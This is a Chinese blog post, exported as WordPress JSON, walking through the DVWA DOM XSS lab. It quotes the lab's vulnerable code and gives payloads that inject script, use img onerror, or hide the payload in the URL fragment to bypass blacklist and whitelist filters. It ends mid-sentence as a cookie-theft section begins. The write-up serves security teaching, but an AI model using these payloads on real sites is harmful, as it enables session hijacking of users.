{"id":124165,"date":"2026-11-18T16:48:58","date_gmt":"2026-11-18T08:48:58","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/124165.html"},"modified":"2026-11-18T16:48:58","modified_gmt":"2026-11-18T08:48:58","slug":"%e5%8f%b7%e5%90%8e%e9%9d%a2%e7%9a%84%e6%94%bb%e5%87%bb%ef%bc%9a%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%85%a8%e7%a8%8b%e8%92%99%e5%9c%a8%e9%bc%93%e9%87%8c%ef%bc%8c%e4%bd%a0%e7%9a%84-cookie-%e5%8d%b4%e5%b7%b2","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/124165.html","title":{"rendered":"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86"},"content":{"rendered":"<h3>\u4e00\u3001\u4ece\u4e00\u6b21\u201c\u4e0d\u5bf9\u52b2\u201d\u8bf4\u8d77<\/h3>\n<p>\u4e8b\u60c5\u662f\u8fd9\u6837\u7684\u3002\u6211\u5728 DVWA \u7684 XSS (DOM) \u5173\u5361\u5f39\u51fa\u4e86 Cookie&#xff0c;\u4e00\u5207\u987a\u5229&#xff0c;\u987a\u5229\u5230\u8ba9\u6211\u6709\u70b9\u4e0d\u653e\u5fc3\u2014\u2014\u6309\u6e17\u900f\u6d4b\u8bd5\u7684\u4e60\u60ef&#xff0c;\u6211\u6309 F12 \u6253\u5f00 Network \u9762\u677f&#xff0c;\u60f3\u770b\u770b\u8fd9\u6b21\u653b\u51fb\u7684\u8bf7\u6c42\u957f\u4ec0\u4e48\u6837\u3002<\/p>\n<p>\u7136\u540e\u6211\u6123\u4f4f\u4e86\u3002<\/p>\n<p>\u5237\u65b0\u9875\u9762&#xff0c;\u8bf7\u6c42\u5217\u8868\u91cc\u90a3\u6761 GET \/vulnerabilities\/xss_d\/ \u7684\u5b8c\u6574 URL&#xff0c;\u5230\u8def\u5f84\u5c31\u7ed3\u675f\u4e86\u3002\u6211 Payload \u91cc\u90a3\u4e00\u5927\u4e32 &lt;\/option&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;&#xff0c;\u6839\u672c\u4e0d\u5728\u8bf7\u6c42\u91cc\u3002<\/p>\n<p>\u53ef\u662f\u5f39\u7a97\u5206\u660e\u5f39\u4e86&#xff0c;Cookie \u5206\u660e\u51fa\u6765\u4e86\u3002\u4e00\u4e2a\u4ece\u6ca1\u5230\u8fbe\u670d\u52a1\u5668\u7684\u5b57\u7b26\u4e32&#xff0c;\u662f\u600e\u4e48\u53d8\u6210\u9875\u9762\u91cc\u88ab\u6267\u884c\u7684\u4ee3\u7801\u7684&#xff1f;<\/p>\n<p>\u8fd9\u4e2a\u56f0\u60d1\u82b1\u4e86\u6211\u4e00\u665a\u4e0a\u624d\u5f7b\u5e95\u7406\u987a&#xff0c;\u800c\u7406\u987a\u4e4b\u540e&#xff0c;XSS \u4e09\u5144\u5f1f\u7684\u533a\u522b\u3001Medium\/High \u5173\u201c\u9632\u5fa1\u5347\u7ea7\u4e86\u5374\u8fd8\u662f\u88ab\u6253\u201d\u7684\u539f\u56e0\u3001\u4e43\u81f3\u201c\u9632\u5fa1\u5e94\u8be5\u4fee\u5728\u54ea\u201d\u8fd9\u4e2a\u95ee\u9898&#xff0c;\u5168\u90e8\u8c41\u7136\u5f00\u6717\u3002\u4e0b\u9762\u4ece\u5934\u8bb2\u3002<\/p>\n<h3>\u4e8c\u3001\u5224\u65ad XSS \u7c7b\u578b\u7684\u6807\u51c6&#xff0c;\u5176\u5b9e\u53ea\u6709\u4e00\u6761<\/h3>\n<p>\u5148\u628a\u6982\u5ff5\u7acb\u4f4f\u3002\u7f51\u4e0a\u5e38\u89c1\u8bf4\u6cd5\u662f\u201c\u770b Payload \u5199\u5728 URL \u54ea\u4e2a\u4f4d\u7f6e\u201d&#xff0c;\u8fd9\u662f\u9519\u7684\u3002<\/p>\n<p>\u771f\u6b63\u7684\u5224\u65ad\u6807\u51c6\u53ea\u6709\u4e00\u6761&#xff1a;\u6267\u884c\u6076\u610f\u4ee3\u7801\u7684\u90a3\u6bb5\u903b\u8f91&#xff0c;\u5199\u5728\u54ea\u4e00\u7aef\u3002<\/p>\n<ul>\n<li>\u670d\u52a1\u5668 PHP \u628a\u7528\u6237\u8f93\u5165\u539f\u6837\u62fc\u8fdb HTML \u54cd\u5e94 \u2192 Reflected&#xff0c;\u6f0f\u6d1e\u4ee3\u7801\u5728\u670d\u52a1\u7aef&#xff1b;<\/li>\n<li>\u670d\u52a1\u5668\u4ece\u6570\u636e\u5e93\u8bfb\u51fa\u5185\u5bb9\u62fc\u8fdb\u9875\u9762 \u2192 Stored&#xff0c;\u6f0f\u6d1e\u4ee3\u7801\u4e5f\u5728\u670d\u52a1\u7aef&#xff0c;\u53ea\u662f\u6740\u4f24\u9762\u53d8\u6210\u201c\u6bcf\u4e2a\u8bbf\u95ee\u8005\u90fd\u4e2d\u62db\u201d&#xff1b;<\/li>\n<li>\u6d4f\u89c8\u5668\u91cc\u7684 JS \u4e3b\u52a8\u4ece URL\u3001Hash\u3001postMessage \u8fd9\u4e9b\u5ba2\u6237\u7aef\u6570\u636e\u6e90\u8bfb\u6570\u636e\u3001\u5199\u8fdb DOM \u2192 DOM XSS&#xff0c;\u6f0f\u6d1e\u4ee3\u7801\u5728\u6d4f\u89c8\u5668\u7aef\u3002<\/li>\n<\/ul>\n<p>\u6211\u6253\u4e2a\u6bd4\u65b9&#xff1a;\u670d\u52a1\u5668\u662f\u95e8\u536b\u5ba4&#xff0c;\u6d4f\u89c8\u5668\u662f\u4f60\u5bb6&#xff0c;\u9875\u9762\u4e0a\u90a3\u6bb5 JS \u662f\u4f60\u5bb6\u7684\u50bb\u513f\u5b50\u3002Reflected \u662f\u628a\u6076\u610f\u7eb8\u6761\u585e\u8fdb\u5feb\u9012\u76d2&#xff0c;\u95e8\u536b\u4e0d\u770b\u5c31\u653e\u8fdb\u697c&#xff0c;\u50bb\u513f\u5b50\u7167\u5355\u5168\u6536\u8d34\u5899\u4e0a&#xff1b;Stored \u662f\u628a\u7eb8\u6761\u8d34\u5728\u516c\u544a\u680f&#xff0c;\u5168\u697c\u4eba\u90fd\u770b\u5f97\u89c1&#xff1b;\u800c DOM XSS \u6700\u90aa\u95e8\u2014\u2014\u7eb8\u6761\u5199\u5728\u4f60\u81ea\u5df1\u7684\u53e3\u888b\u91cc&#xff08;URL \u7684 # \u53f7\u540e\u9762&#xff09;&#xff0c;\u4eba\u76f4\u63a5\u8d70\u8fdb\u697c&#xff0c;\u662f\u50bb\u513f\u5b50\u81ea\u5df1\u4ece\u4f60\u53e3\u888b\u91cc\u638f\u51fa\u6765\u8d34\u7684\u3002\u95e8\u536b\u4ece\u5934\u5230\u5c3e\u6ca1\u89c1\u8fc7\u8fd9\u5f20\u7eb8\u6761\u3002<\/p>\n<p>\u56de\u5230\u5f00\u5934\u90a3\u4e2a Network \u9762\u677f\u7684\u56f0\u60d1&#xff1a;# \u53f7\u540e\u9762\u7684\u90e8\u5206\u53eb fragment&#xff0c;\u6309 HTTP \u89c4\u8303&#xff0c;\u6d4f\u89c8\u5668\u6c38\u8fdc\u4e0d\u4f1a\u628a\u5b83\u53d1\u7ed9\u670d\u52a1\u5668\u2014\u2014\u5b83\u53ea\u7559\u7ed9\u6d4f\u89c8\u5668\u81ea\u5df1\u7528&#xff08;\u9875\u9762\u5185\u8df3\u8f6c\u5c31\u7528\u5b83&#xff09;\u3002\u6240\u4ee5\u6211\u7684 Payload \u4f4f\u5728\u4e00\u6bb5\u201c\u670d\u52a1\u5668\u6c38\u8fdc\u770b\u4e0d\u5230\u7684\u533a\u57df\u201d&#xff0c;\u5374\u88ab\u5ba2\u6237\u7aef JS \u4eb2\u624b\u6267\u884c\u4e86\u3002<\/p>\n<p>\u8fd9\u5c31\u662f DOM XSS \u7684\u8eab\u4efd\u8bc1\u660e\u5b9e\u9a8c&#xff1a;\u80fd\u7528 # \u89e6\u53d1\u7684 XSS&#xff0c;\u5fc5\u7136\u662f DOM XSS\u3002\u56e0\u4e3a Reflected \u578b\u7684 Payload \u5fc5\u987b\u968f\u8bf7\u6c42\u53d1\u9001\u624d\u80fd\u88ab\u670d\u52a1\u5668\u62fc\u8fdb\u54cd\u5e94&#xff0c;\u5b83\u505a\u4e0d\u51fa\u8fd9\u4e2a\u5b9e\u9a8c\u3002<\/p>\n<h3>\u4e09\u3001Low \u5173&#xff1a;\u4e09\u884c JS \u7684\u5b8c\u6574\u7f6a\u8bc1<\/h3>\n<p>DVWA \u8fd9\u4e2a\u5173\u5361\u7684\u670d\u52a1\u7aef PHP \u5bf9\u53c2\u6570\u51e0\u4e4e\u96f6\u5904\u7406&#xff0c;\u771f\u6b63\u5e72\u6d3b\u7684\u662f\u9875\u9762\u91cc\u4e00\u6bb5\u5185\u8054 JS&#xff1a;<\/p>\n<p>if (document.location.href.indexOf(&#034;default&#061;&#034;) &gt;&#061; 0) {<br \/>\n    var lang &#061; document.location.href.substring(document.location.href.indexOf(&#034;default&#061;&#034;) &#043; 8);<br \/>\n    document.write(&#034;&lt;option value&#061;&#039;&#034; &#043; lang &#043; &#034;&#039;&gt;&#034; &#043; decodeURI(lang) &#043; &#034;&lt;\/option&gt;&#034;);<br \/>\n}<\/p>\n<p>\u8fd9\u6bb5\u4ee3\u7801\u7684\u672c\u610f\u662f&#xff1a;\u7528\u6237\u9009\u4e86\u8bed\u8a00&#xff0c;\u5c31\u628a\u8bed\u8a00\u540d\u5199\u8fdb\u4e0b\u62c9\u6846\u3002\u7ffb\u8bd1\u6210\u4eba\u8bdd\u662f\u4e09\u6b65&#xff1a;<\/p>\n<p>\u7b2c\u4e00\u6b65&#xff0c;\u770b\u4e00\u773c\u5b8c\u6574\u5730\u5740\u680f\u3002\u6ce8\u610f\u5b83\u7528\u7684\u662f document.location.href \u800c\u4e0d\u662f\u89c4\u8303\u7684 location.search\u2014\u2014\u533a\u522b\u5728\u4e8e&#xff0c;search \u53ea\u5305\u542b ? \u4e4b\u540e\u3001# \u4e4b\u524d\u7684\u90e8\u5206&#xff0c;\u800c href \u662f\u6574\u4e2a URL \u542b fragment\u3002\u5f00\u53d1\u8005\u968f\u624b\u4e00\u4e2a API \u7684\u9009\u62e9&#xff0c;\u7b49\u4e8e\u4eb2\u624b\u628a\u201c\u670d\u52a1\u5668\u770b\u4e0d\u5230\u7684\u533a\u57df\u201d\u63a5\u8fdb\u4e86\u6570\u636e\u6d41\u3002\u8fd9\u4e00\u884c\u662f\u5165\u53e3\u3002<\/p>\n<p>\u7b2c\u4e8c\u6b65&#xff0c;\u7eaf\u5b57\u7b26\u4e32\u641c\u7d22\u3002\u5b83\u627e\u7684\u4e0d\u662f\u201c\u4e00\u4e2a\u53eb default \u7684\u53c2\u6570\u201d&#xff0c;\u800c\u662f default&#061; \u8fd9\u516d\u4e2a\u5b57\u7b26\u4f5c\u4e3a\u5b50\u4e32\u51fa\u73b0\u5728 URL \u7684\u4efb\u4f55\u4f4d\u7f6e\u3002\u54ea\u6015\u4f60\u5199\u6210 #foobar-default&#061;xxx&#xff0c;\u7167\u6837\u547d\u4e2d&#xff0c;\u547d\u4e2d\u4e4b\u540e\u7b49\u53f7\u540e\u9762\u7684\u6240\u6709\u5185\u5bb9\u539f\u6837\u62a0\u51fa\u3002\u8fd9\u4e00\u884c\u628a\u89e6\u53d1\u9762\u653e\u5bbd\u5230\u4e86\u5f00\u53d1\u8005\u81ea\u5df1\u90fd\u60f3\u4e0d\u5230\u7684\u7a0b\u5ea6\u3002<\/p>\n<p>\u7b2c\u4e09\u6b65&#xff0c;\u4e0d\u68c0\u67e5\u5c31\u5199\u5165\u3002decodeURI \u628a URL \u7f16\u7801\u8fd8\u539f\u6210\u771f\u5b9e\u5b57\u7b26\u2014\u2014%3C \u590d\u6d3b\u6210 &lt;\u2014\u2014\u7136\u540e document.write \u628a\u7ed3\u679c\u4e00\u5b57\u4e0d\u6539\u5730\u5199\u8fdb DOM\u3002\u89e3\u7801\u672c\u8eab\u65e0\u5bb3&#xff0c;\u574f\u5c31\u574f\u5728\u89e3\u7801\u540e\u7684\u6570\u636e\u6ca1\u6709\u4efb\u4f55\u8fc7\u6ee4\u5c31\u8fdb\u4e86\u5199\u5165\u51fd\u6570\u3002\u201c\u89e3\u7801\u51fd\u6570 &#043; \u52a8\u6001\u5199\u5165\u201d \u662f DOM XSS \u6700\u7ecf\u5178\u7684\u5371\u9669\u7ec4\u5408&#xff0c;\u4ee5\u540e\u5ba1\u8ba1\u524d\u7aef\u4ee3\u7801\u770b\u5230\u8fd9\u4e2a\u642d\u914d\u53ef\u4ee5\u76f4\u63a5\u6807\u7ea2\u3002\u8fd9\u4e00\u884c\u662f\u51fa\u53e3\u3002<\/p>\n<p>\u5165\u53e3 &#043; \u51fa\u53e3\u9f50\u4e86&#xff0c;Payload \u5c31\u4e00\u53e5\u8bdd\u7684\u4e8b&#xff1a;<\/p>\n<p>?default&#061;English&lt;\/option&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;<\/p>\n<p>\u62c6\u5f00\u770b&#xff1a;English \u8ba9\u7b2c\u4e00\u4e2a\u4e0b\u62c9\u9879\u6b63\u5e38\u6e32\u67d3&#xff0c;&lt;\/option&gt; \u63d0\u524d\u95ed\u5408\u5f53\u524d\u6807\u7b7e\u8131\u79bb\u539f\u6709\u7684 HTML \u4e0a\u4e0b\u6587&#xff0c;\u7136\u540e\u5c31\u662f\u81ea\u660e\u7684 &lt;script&gt;\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"491\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/11\/20261118084856-6afd6678d4449.png\" width=\"1235\" \/><\/p>\n<p>\u6267\u884c\u540e\u5f39\u7a97\u5185\u5bb9&#xff1a;<\/p>\n<p>PHPSESSID&#061;iqkl42q8gn7rkeljmoif8nven7; security&#061;low<\/p>\n<p>\u6709\u4e2a\u7ec6\u8282\u503c\u5f97\u6ce8\u610f&#xff1a;\u6267\u884c\u540e\u9875\u9762\u4e3b\u4f53\u53d8\u6210\u4e00\u7247\u7070\u3002\u56e0\u4e3a &lt;\/option&gt; \u53ea\u5173\u4e86 option&#xff0c;\u5916\u5c42\u7684 &lt;select&gt; \u8fd8\u5f00\u7740&#xff0c;DOM \u6811\u6b8b\u7f3a&#xff0c;\u6d4f\u89c8\u5668\u6e32\u67d3\u5f15\u64ce\u5e72\u8106\u653e\u5f03\u4e86\u4e3b\u4f53\u3002\u7070\u5c4f\u662f\u653b\u51fb\u6210\u529f\u7684\u65c1\u8bc1&#xff0c;\u540c\u65f6\u4e5f\u66b4\u9732\u4e86\u4e00\u4e2a\u5b9e\u6218\u95ee\u9898\u2014\u2014\u8fd9\u4e48\u6253\u9875\u9762\u660e\u663e\u574f\u4e86&#xff0c;\u53d7\u5bb3\u8005\u4e00\u773c\u5c31\u80fd\u5bdf\u89c9\u3002\u540e\u9762 Medium \u5173\u4f1a\u56de\u6765\u8bb2\u9690\u853d\u6027\u3002<\/p>\n<h3>\u56db\u3001Medium \u5173&#xff1a;\u9ed1\u540d\u5355\u7684\u4e24\u79cd\u6b7b\u6cd5<\/h3>\n<p>\u5207\u5230 Medium&#xff0c;\u670d\u52a1\u7aef\u51fa\u73b0\u4e86\u7b2c\u4e00\u9053\u9632\u5fa1&#xff1a;<\/p>\n<p>if ( array_key_exists( &#034;default&#034;, $_GET ) ) {<br \/>\n    if ( stripos( $_GET[ &#039;default&#039; ], &#034;&lt;script&#034; ) !&#061;&#061; false ) {<br \/>\n        header( &#034;location: ?default&#061;English&#034; );<br \/>\n        exit;<br \/>\n    }<br \/>\n}<\/p>\n<p>\u903b\u8f91\u5f88\u76f4\u767d&#xff1a;\u770b\u5230 &lt;script \u4e94\u4e2a\u5b57\u7b26&#xff08;\u4e0d\u533a\u5206\u5927\u5c0f\u5199&#xff09;\u5c31\u91cd\u5b9a\u5411\u56de English\u3002\u5178\u578b\u7684\u9ed1\u540d\u5355\u3002<\/p>\n<p>\u6211\u5148\u7528 Low \u7684 Payload \u8bd5\u63a2&#xff0c;\u679c\u7136\u88ab\u5f39\u56de\u53bb\u4e86\u3002\u4f46\u9ed1\u540d\u5355\u7684\u6b7b\u6cd5\u6709\u4e24\u79cd&#xff0c;\u6211\u6328\u4e2a\u6f14\u793a\u3002<\/p>\n<p>\u6b7b\u6cd5\u4e00&#xff1a;\u5b57\u5178\u592a\u5c0f\u3002 HTML \u91cc\u80fd\u6267\u884c JS \u7684\u8fdc\u4e0d\u6b62 script \u6807\u7b7e\u3002\u6362 &lt;img&gt; \u7684\u4e8b\u4ef6\u5411\u91cf&#xff1a;<\/p>\n<p>?default&#061;English&lt;\/option&gt;&lt;\/select&gt;&lt;img src&#061;a onerror&#061;alert(1)&gt;<\/p>\n<p>\u8fd9\u6b21\u6ce8\u610f\u6211\u8865\u4e86 &lt;\/select&gt;\u2014\u2014\u628a\u5916\u5c42\u6807\u7b7e\u4e5f\u95ed\u5408&#xff0c;\u9875\u9762\u7ed3\u6784\u57fa\u672c\u5b8c\u6574\u3002stripos \u771f\u7684\u6267\u884c\u4e86\u3001\u771f\u7684\u6ca1\u627e\u5230 &lt;script&#xff08;Payload \u91cc\u672c\u6765\u5c31\u6ca1\u6709\u8fd9\u4e09\u4e2a\u8bcd&#xff09;&#xff0c;\u653e\u884c\u3002\u524d\u7aef JS \u628a img \u5199\u8fdb DOM&#xff0c;src&#061;a \u52a0\u8f7d\u5931\u8d25\u89e6\u53d1 onerror&#xff0c;\u5f39\u7a97\u3002\u9875\u9762\u4e0a\u53ea\u7559\u4e0b\u4e00\u4e2a\u7834\u635f\u56fe\u7247\u7684\u5c0f\u56fe\u6807&#xff0c;\u4e3b\u4f53\u6e32\u67d3\u6b63\u5e38\u3002<\/p>\n<p>\u8fd9\u91cc\u6709\u4e2a\u5b9e\u6218\u7d20\u517b\u95ee\u9898&#xff1a;\u5bf9\u6bd4 Low \u5173\u7684\u7070\u5c4f&#xff0c;\u8fd9\u4e2a Payload \u6253\u5b8c\u9875\u9762\u51e0\u4e4e\u65e0\u5f02\u6837&#xff0c;\u53d7\u5bb3\u8005\u6beb\u65e0\u5bdf\u89c9\u3002\u6784\u9020 Payload \u9664\u4e86\u201c\u80fd\u4e0d\u80fd\u6267\u884c\u201d&#xff0c;\u8fd8\u8981\u8003\u8651\u201c\u6267\u884c\u540e\u9875\u9762\u50cf\u4e0d\u50cf\u6b63\u5e38\u9875\u9762\u201d\u3002<\/p>\n<p>\u6b7b\u6cd5\u4e8c&#xff1a;\u6839\u672c\u4e0d\u7ecf\u8fc7\u68c0\u67e5\u3002 \u4e0a fragment&#xff1a;<\/p>\n<p>#default&#061;English&lt;\/option&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;<\/p>\n<p>\u5f39\u7a97\u5f39\u51fa&#xff0c;Cookie \u91cc security&#061;medium \u6e05\u6670\u53ef\u89c1\u3002\u800c\u8fd9\u4e00\u6b21&#xff0c;\u670d\u52a1\u7aef\u90a3\u884c stripos \u538b\u6839\u6ca1\u6709\u6267\u884c\u2014\u2014\u56e0\u4e3a # \u540e\u9762\u7684\u5185\u5bb9\u4e0d\u8fdb\u8bf7\u6c42&#xff0c;$_GET[&#039;default&#039;] \u8fd9\u4e2a\u952e\u6839\u672c\u4e0d\u5b58\u5728&#xff0c;array_key_exists \u76f4\u63a5\u4e3a\u5047&#xff0c;\u6574\u4e2a if \u5757\u88ab\u8df3\u8fc7\u3002<\/p>\n<p>\u8fd9\u4e24\u79cd\u6b7b\u6cd5\u7684\u6027\u8d28\u5b8c\u5168\u4e0d\u540c&#xff0c;\u503c\u5f97\u53cd\u590d\u5480\u56bc&#xff1a;\u6362\u5411\u91cf\u662f\u201c\u9a97\u8fc7\u4e86\u68c0\u67e5\u201d&#xff0c;\u4e0a fragment \u662f\u201c\u6839\u672c\u6ca1\u88ab\u68c0\u67e5\u201d\u3002\u524d\u8005\u4f9d\u8d56\u9ed1\u540d\u5355\u6709\u6d1e&#xff0c;\u540e\u8005\u8fde\u767d\u540d\u5355\u90fd\u62e6\u4e0d\u4f4f\u2014\u2014\u56e0\u4e3a\u5b83\u653b\u51fb\u7684\u901a\u9053\u548c\u9632\u5fa1\u5b88\u62a4\u7684\u901a\u9053\u662f\u4e24\u6761\u8def\u3002<\/p>\n<p>\u987a\u5e26\u4e00\u63d0&#xff0c;\u5f39\u7a97\u91cc\u7684 security&#061;medium \u8fd8\u66b4\u9732\u4e86 DVWA \u7684\u4e00\u4e2a\u8bbe\u8ba1&#xff1a;\u5b89\u5168\u7b49\u7ea7\u672c\u8eab\u5c31\u662f\u4e00\u4e2a\u5ba2\u6237\u7aef\u53ef\u6539\u7684 Cookie\u3002\u628a\u5b89\u5168\u76f8\u5173\u7684\u72b6\u6001\u653e\u5728\u5ba2\u6237\u7aef\u53ef\u7be1\u6539\u7684\u4f4d\u7f6e&#xff0c;\u8fd9\u4e2a\u6a21\u5f0f\u5728\u771f\u5b9e\u7cfb\u7edf\u91cc\u662f\u53cd\u9762\u6559\u6750&#xff0c;\u5148\u8bb0\u4e0b\u6765&#xff0c;\u540e\u9762\u8fd8\u4f1a\u547c\u5e94\u3002<\/p>\n<h3>\u4e94\u3001High \u5173&#xff1a;\u767d\u540d\u5355\u5f88\u786c&#xff0c;\u4f46\u6ca1\u4eba\u8003\u5b83<\/h3>\n<p>High \u5173\u7684\u670d\u52a1\u7aef\u6362\u6210\u4e86\u767d\u540d\u5355 switch&#xff1a;<\/p>\n<p>if ( array_key_exists( &#034;default&#034;, $_GET ) ) {<br \/>\n    switch ( $_GET[ &#039;default&#039; ] ) {<br \/>\n        case &#034;French&#034;:<br \/>\n        case &#034;English&#034;:<br \/>\n        case &#034;German&#034;:<br \/>\n        case &#034;Spanish&#034;:<br \/>\n            break;<br \/>\n        default:<br \/>\n            header( &#034;location: ?default&#061;English&#034; );<br \/>\n            exit;<br \/>\n    }<br \/>\n}<\/p>\n<p>\u8fd9\u6b21\u662f\u771f\u786c\u3002\u6211\u628a Medium \u7684\u4e24\u53d1\u5168\u90e8\u91cd\u6253&#xff0c;?default&#061; \u540e\u9762\u4e0d\u7ba1\u8ddf script \u8fd8\u662f img&#xff0c;\u7edf\u7edf\u88ab\u5f39\u56de English\u2014\u2014\u767d\u540d\u5355\u672c\u8eab\u627e\u4e0d\u5230\u4efb\u4f55\u7f1d\u3002<\/p>\n<p>\u7136\u540e\u6211\u628a\u5730\u5740\u680f\u6539\u6210&#xff1a;<\/p>\n<p>#default&#061;English&lt;script&gt;alert(document.cookie)&lt;\/script&gt;<\/p>\n<p>\u5f39\u7a97\u7167\u65e7&#xff0c;security&#061;high\u3002<\/p>\n<p>\u62c6\u89e3\u4e00\u4e0b\u670d\u52a1\u5668\u8fd9\u6b21\u6536\u5230\u4e86\u4ec0\u4e48&#xff1a;\u8bf7\u6c42\u91cc\u4e00\u4e2a\u53c2\u6570\u90fd\u6ca1\u6709&#xff0c;array_key_exists \u4e3a\u5047&#xff0c;\u6574\u4e2a switch \u5757\u4ece\u672a\u88ab\u8c03\u7528\u3002\u90a3\u4efd\u65e0\u61c8\u53ef\u51fb\u7684\u767d\u540d\u5355&#xff0c;\u4e00\u6b21\u90fd\u6ca1\u6709\u4e0a\u573a\u7684\u673a\u4f1a\u3002\u524d\u7aef JS \u7167\u65e7\u7528 indexOf(&#034;default&#061;&#034;) \u5728\u5b8c\u6574 URL \u91cc\u505a\u5b50\u4e32\u641c\u7d22\u2014\u2014#default&#061;English&lt;script&gt;&#8230; \u91cc\u7684 default&#061; \u516d\u4e2a\u5b57\u7b26\u88ab\u902e\u4e2a\u6b63\u7740&#xff0c;substring\u3001decodeURI\u3001document.write&#xff0c;\u4e00\u6761\u9f99\u8d70\u5b8c\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"250\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/11\/20261118084857-6afd66791aa37.png\" width=\"1234\" \/><\/p>\n<p>\u6240\u4ee5 Medium \u548c High \u88ab\u7ed5\u7684\u65b9\u5f0f&#xff0c;\u672c\u8d28\u662f\u540c\u4e00\u4ef6\u4e8b&#xff1a;\u4e0d\u662f\u9632\u5fa1\u592a\u5f31&#xff0c;\u800c\u662f\u9632\u5fa1\u5bf9\u8c61\u4e0d\u5b58\u5728\u3002Medium \u7684\u9ed1\u540d\u5355\u81f3\u5c11\u8fd8\u771f\u7684\u6267\u884c\u8fc7\u4e00\u6b21&#xff08;img \u7248\u91cc\u5b83\u771f\u8dd1\u4e86&#xff0c;\u53ea\u662f\u6ca1\u8ba4\u51fa img&#xff09;&#xff1b;High \u7684\u767d\u540d\u5355\u5e72\u8106\u5168\u7a0b\u6ca1\u88ab\u8c03\u7528\u3002\u7528\u4e00\u53e5\u8bdd\u6982\u62ec&#xff1a;\u5728\u9519\u8bef\u7684\u623f\u95f4\u91cc\u88c5\u4e86\u4e00\u6247\u5f88\u597d\u7684\u95e8\u3002<\/p>\n<h3>\u516d\u3001Impossible&#xff1a;\u7ec8\u4e8e\u6709\u4eba\u53bb\u6cbb\u50bb\u513f\u5b50\u4e86<\/h3>\n<p>\u5207\u5230 Impossible&#xff0c;\u5148\u770b\u670d\u52a1\u7aef\u6e90\u7801&#xff0c;\u53ea\u6709\u4e00\u884c\u6ce8\u91ca&#xff1a;<\/p>\n<p># Don&#039;t need to do anything, protection handled on the client side<\/p>\n<p>\u670d\u52a1\u5668\u5f7b\u5e95\u8eba\u5e73\u2014\u2014\u56e0\u4e3a\u4fee\u590d\u88ab\u653e\u5230\u4e86\u771f\u6b63\u52a8\u624b\u7684\u5730\u65b9&#xff1a;\u5ba2\u6237\u7aef JS\u3002\u6838\u5fc3\u6539\u52a8\u4e09\u5904&#xff1a;<\/p>\n<p>\/\/ \u4fee\u590d\u540e\u7684\u903b\u8f91&#xff08;\u793a\u610f&#xff09;<br \/>\nvar langArray &#061; [ &#034;English&#034;, &#034;French&#034;, &#034;German&#034;, &#034;Spanish&#034; ];<br \/>\nif ( langArray.indexOf( lang ) !&#061;&#061; -1 ) {<br \/>\n    document.getElementById( &#034;selectbox&#034; ).value &#061; lang;<br \/>\n}<\/p>\n<p>\u7b2c\u4e00&#xff0c;\u51fa\u53e3\u66ff\u6362&#xff1a;\u4e0d\u518d\u7528 document.write \u62fc\u4efb\u610f HTML&#xff0c;\u6539\u6210\u7ed9 &lt;select&gt; \u63a7\u4ef6\u7684 value \u76f4\u63a5\u8d4b\u5b57\u7b26\u4e32\u2014\u2014\u6d4f\u89c8\u5668\u4e0d\u4f1a\u628a value \u5f53 HTML \u89e3\u6790&#xff0c;\u6ce8\u5165\u8fd9\u6761\u8def\u4ece\u51fa\u53e3\u4e0a\u88ab\u710a\u6b7b\u3002\u7b2c\u4e8c&#xff0c;\u767d\u540d\u5355\u524d\u7f6e&#xff1a;\u5199\u5165\u4e4b\u524d\u5148\u6bd4\u5bf9\u540d\u5355&#xff0c;\u4e0d\u5728\u540d\u5355\u76f4\u63a5\u4e22\u5f03\u3002\u7b2c\u4e09&#xff0c;\u5165\u53e3\u6536\u7a84&#xff1a;\u53ea\u89e3\u6790\u7eaf\u8bed\u8a00\u503c&#xff0c;\u4e0d\u518d\u628a\u201c\u7b49\u53f7\u540e\u7684\u6574\u6bb5\u5185\u5bb9\u201d\u62ff\u6765\u7528\u3002<\/p>\n<p>\u6211\u628a\u540c\u4e00\u53d1 #default&#061;English&lt;script&gt;alert(document.cookie)&lt;\/script&gt; \u9001\u8fc7\u53bb&#xff1a;\u4e0d\u5f39\u7a97\u3001\u9875\u9762\u5b8c\u597d\u3001Payload \u5728\u9875\u9762\u4e0a\u8868\u73b0\u4e3a\u4e00\u884c\u65e0\u5bb3\u7684\u666e\u901a\u6587\u672c\u3002\u7eb8\u6761\u8fd8\u662f\u88ab\u5e26\u8fdb\u4e86\u697c&#xff0c;\u4f46\u50bb\u513f\u5b50\u770b\u4e86\u4e00\u773c\u4e0d\u5728\u540d\u5355\u91cc&#xff0c;\u76f4\u63a5\u6254\u4e86\u3002<\/p>\n<p>\u56de\u5934\u770b\u56db\u5173\u7684\u9632\u5fa1\u6f14\u8fdb\u5c31\u5f88\u6709\u610f\u601d\u4e86&#xff1a;Low \u6ca1\u9632&#xff0c;Medium \u7ed9\u95e8\u536b\u914d\u4e86\u672c\u9ed1\u540d\u5355\u8bcd\u5178&#xff0c;High \u7ed9\u95e8\u536b\u6362\u4e86\u767d\u540d\u5355&#xff0c;\u88c5\u5907\u5347\u4e86\u4e24\u6b21\u7ea7&#xff0c;\u7eb8\u6761\u90fd\u4ece\u53e3\u888b\u8d70\u4e86\u3002Impossible \u624d\u628a\u529f\u592b\u82b1\u5728\u50bb\u513f\u5b50\u8eab\u4e0a\u2014\u2014\u6f0f\u6d1e\u4ee3\u7801\u5728\u54ea\u4e00\u7aef&#xff0c;\u9632\u5fa1\u5c31\u90e8\u7f72\u5728\u54ea\u4e00\u7aef&#xff0c;\u8fd9\u4e00\u5173\u662f\u552f\u4e00\u505a\u5bf9\u7684\u3002<\/p>\n<h3>\u4e03\u3001\u4ece\u5f39\u7a97\u5230\u771f\u653b\u51fb&#xff1a;\u5077 Cookie \u53ea\u5dee\u4e24\u6b65<\/h3>\n<p>\u5199\u5230\u8fd9\u5fc5\u987b\u6cfc\u76c6\u51b7\u6c34&#xff1a;alert 